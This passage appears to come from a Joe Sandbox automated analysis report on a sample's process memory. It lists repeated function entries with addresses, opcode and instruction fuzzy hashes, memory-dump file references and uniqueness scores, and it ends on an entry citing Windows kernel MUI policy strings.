Function 007307AC Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 00730C40 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f629700e8a0faf16c3a99a987d81dda9b9e9a08178d0ad03aaec4005a132e95a
Instruction ID: df3521920546c87a7cfa40f03b9d1cb3325e43f750a27356a7d3e25b902d3ed9
Opcode Fuzzy Hash: f629700e8a0faf16c3a99a987d81dda9b9e9a08178d0ad03aaec4005a132e95a
Instruction Fuzzy Hash: FAB01272201540C7F349A714D946F5BB210FB90F04F008A3AE04782850DA38992CC547

Uniqueness

Uniqueness Score: -1.00%

Function 007310D0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac83c10758ebe8d5f76978585b10c9c6dce2ba331d146511a487ba092cee0476
Instruction ID: b97e0867cf63cce6a7bd091cca7d2f61d4937398616a74d9d7050cc2a0bd1794
Opcode Fuzzy Hash: ac83c10758ebe8d5f76978585b10c9c6dce2ba331d146511a487ba092cee0476
Instruction Fuzzy Hash: E8B01272180540CBE3199718E906F5FB710FB90F00F00C93EA00781C50DA389D3CD446

Uniqueness

Uniqueness Score: -1.00%

Function 00731148 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a4eb0b16b3dbbf7110758f456c9aa6f179838dd1f90225a28a8369ad29a59d
Instruction ID: 165250f8074bc0ef9cdc504fa449021ea13c8322197c03fc884fef66fc1cad38
Opcode Fuzzy Hash: a1a4eb0b16b3dbbf7110758f456c9aa6f179838dd1f90225a28a8369ad29a59d
Instruction Fuzzy Hash: 23B01272140580C7E31D9718D906B5B7610FB80F00F008D3AA04781CA1DBB89A2CE44A

Uniqueness

Uniqueness Score: -1.00%

Function 0072F8CC Relevance: .0, Instructions: 6COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33242f20aaab27225aff268df6c25d5fe4c2b5540d13ace685107ef1cdf40795
Instruction ID: b608c8617bc096b37df9be2f0bc93e64f466faa20b7dbfb3ee59c54b4bfc8c85
Opcode Fuzzy Hash: 33242f20aaab27225aff268df6c25d5fe4c2b5540d13ace685107ef1cdf40795
Instruction Fuzzy Hash: EBB01275100540C7F304D704D905F4AB311FBD0F04F40893AE40786591D77EAD28C697

Uniqueness

Uniqueness Score: -1.00%

Function 00731930 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24bb0b37ea7353fce174200a7558970e7d293f02c0796de48d820b1db3e8008e
Instruction ID: 3aeeca65ea1aaf37b62c9893cb2d02334d47a3b29990fed3fb0e6cbc500f1d8d
Opcode Fuzzy Hash: 24bb0b37ea7353fce174200a7558970e7d293f02c0796de48d820b1db3e8008e
Instruction Fuzzy Hash: 52B01272100940C7E34AA714DE07B8BB210FBD0F01F00893BA04B85D50D638A92CC546

Uniqueness

Uniqueness Score: -1.00%

Function 0072F938 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2cab816673a0835cc858cab12777882f58cc76e03a07139f76655cd686d1a0
Instruction ID: d523cc507bde657408e54325c2dcaf12b60df831943b7985b4c6fe4931788f26
Opcode Fuzzy Hash: 4f2cab816673a0835cc858cab12777882f58cc76e03a07139f76655cd686d1a0
Instruction Fuzzy Hash: FCB0927220194087E2099B04D905B477251EBC0B01F408934A50646590DB399928D947

Uniqueness

Uniqueness Score: -1.00%

Function 0072FA50 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a404d463d6f8697e12459a80a2071a15e1bd5ec6cf7fed7c99dd07a5c51de8f6
Instruction ID: 2cae8b11bd858d750de1a79d340ce6dfe3ec44f87311ce0e8d0be64a47f0ebf6
Opcode Fuzzy Hash: a404d463d6f8697e12459a80a2071a15e1bd5ec6cf7fed7c99dd07a5c51de8f6
Instruction Fuzzy Hash: 9BB01272100544C7E349A714DA07B8B7210FB80F00F008D3BA04782851DFB89A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 0072FA20 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd081996be218738afd9aebd029b97e59d15eb89e01646829fdeee62bde327fa
Instruction ID: 9b5f4fb9875c6876c932e4128e9800c708acc4d40f0b969179b44b3e8b2884d0
Opcode Fuzzy Hash: dd081996be218738afd9aebd029b97e59d15eb89e01646829fdeee62bde327fa
Instruction Fuzzy Hash: 4FB01272100580C7E30D9714D90AB4B7210FB80F00F00CD3AA00781861DB78DA2CD45A

Uniqueness

Uniqueness Score: -1.00%

Function 0072FAB8 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction ID: c22cab920426f99211259bec297b66dc94c7f77789dfa39603ac798b5fdced38
Opcode Fuzzy Hash: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction Fuzzy Hash: 66B01272100544C7E349B714D906B8B7210FF80F00F00893AA00782861DB389A2CE996

Uniqueness

Uniqueness Score: -1.00%

Function 0072FB50 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 0072FBE8 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c324cfac0bc47b069c1788d5b946c83edf7c28d4d9dcf1ed0d5a02e7884c4d21
Instruction ID: 9452a8d0b0f104eb9e4922b1c8778681c83a3ee0f3d85b1ffb0a7dc5c1b1eaf2
Opcode Fuzzy Hash: c324cfac0bc47b069c1788d5b946c83edf7c28d4d9dcf1ed0d5a02e7884c4d21
Instruction Fuzzy Hash: 9AB01272100640C7E349A714DA0BB5B7210FB80F00F00893BE00781852DF389A2CD986

Uniqueness

Uniqueness Score: -1.00%

Function 0072FC48 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f2af904bd49f46abffdb2c3bdfb425abd6ec71f3c15e3442cbf597b06952ad7
Instruction ID: ba27d4cd5f553268e31cb600e7e3d5a3e50323ff6ed211678ad30f7188510e08
Opcode Fuzzy Hash: 5f2af904bd49f46abffdb2c3bdfb425abd6ec71f3c15e3442cbf597b06952ad7
Instruction Fuzzy Hash: 39B01272100540C7E319A714D90AB5B7250FF80F00F00893AE10781861DB38992CD456

Uniqueness

Uniqueness Score: -1.00%

Function 0072FC30 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d06e62ecc0ccff2d82fb33389f73f013fdf3a2f5ea46d36b3417402e9c0144c
Instruction ID: bea31e52b4947098166a5853b381437c0ce687cada8622438d1654f6fc3cd67c
Opcode Fuzzy Hash: 5d06e62ecc0ccff2d82fb33389f73f013fdf3a2f5ea46d36b3417402e9c0144c
Instruction Fuzzy Hash: B2B01272140540C7E3099714DA1AB5B7210FB80F00F008D3AE04781891DB7C9A2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 0072FD5C Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction ID: 152fdd420af7dfcc6df86c72954370e6eab1db85fd0a81c34441345ed48de2b3
Opcode Fuzzy Hash: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction Fuzzy Hash: 27B01272141540C7E349A714D90AB6B7220FB80F00F00893AE00781852DB389B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 00731D80 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18add7eb1c2e7e0a1a3b96ba9e1590d2475205760e881687e9c53b2b1b4fe652
Instruction ID: c40cb18f784fb740092d7f35057b9839572fe11e4001cfe90af8ac8386c88b07
Opcode Fuzzy Hash: 18add7eb1c2e7e0a1a3b96ba9e1590d2475205760e881687e9c53b2b1b4fe652
Instruction Fuzzy Hash: A6B09271508A40C7E204A704D985B46B221FB90B00F408938A04B865A0D72CA928C686

Uniqueness

Uniqueness Score: -1.00%

Function 0072FE24 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction ID: 4523e9276363b51c29093556ee00c3605be97a6a096d126b10744d78506899f7
Opcode Fuzzy Hash: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction Fuzzy Hash: E7B012B2104580C7E31A9714D906B4B7210FB80F00F40893AA00B81861DB389A2CD456

Uniqueness

Uniqueness Score: -1.00%

Function 0072FF34 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction ID: c0177d7ad0d10355b3c7d2619bc7f24452a3c2aab25a1a733e07692cdee9b307
Opcode Fuzzy Hash: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction Fuzzy Hash: B1B012B2200540C7E319D714D906F4B7210FB80F00F40893AB10B81862DB3C992CD45A

Uniqueness

Uniqueness Score: -1.00%

Function 0072FFFC Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction ID: 5af6445773ea8696aa9cd62fdf5509cf1cb9f7b4cf56a5a77559796e3d2133fe
Opcode Fuzzy Hash: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction Fuzzy Hash: 07B012B2240540C7E30D9714D906B4B7250FBC0F00F00893AE10B81850DA3C993CC44B

Uniqueness

Uniqueness Score: -1.00%

Function 00758788 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

_wcspbrk.LIBCMT ref: 00758891
_wcspbrk.LIBCMT ref: 00758979
_wcspbrk.LIBCMT ref: 00758A61
_wcspbrk.LIBCMT ref: 00758A9B
_wcspbrk.LIBCMT ref: 007A1B9C

Strings

Kernel-MUI-Language-SKU, xrefs: 007589FC
Kernel-MUI-Number-Allowed, xrefs: 007587E6
WindowsExcludedProcs, xrefs: 007587C1
Kernel-MUI-Language-Allowed, xrefs: 00758827
Kernel-MUI-Language-Disallowed, xrefs: 00758914

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
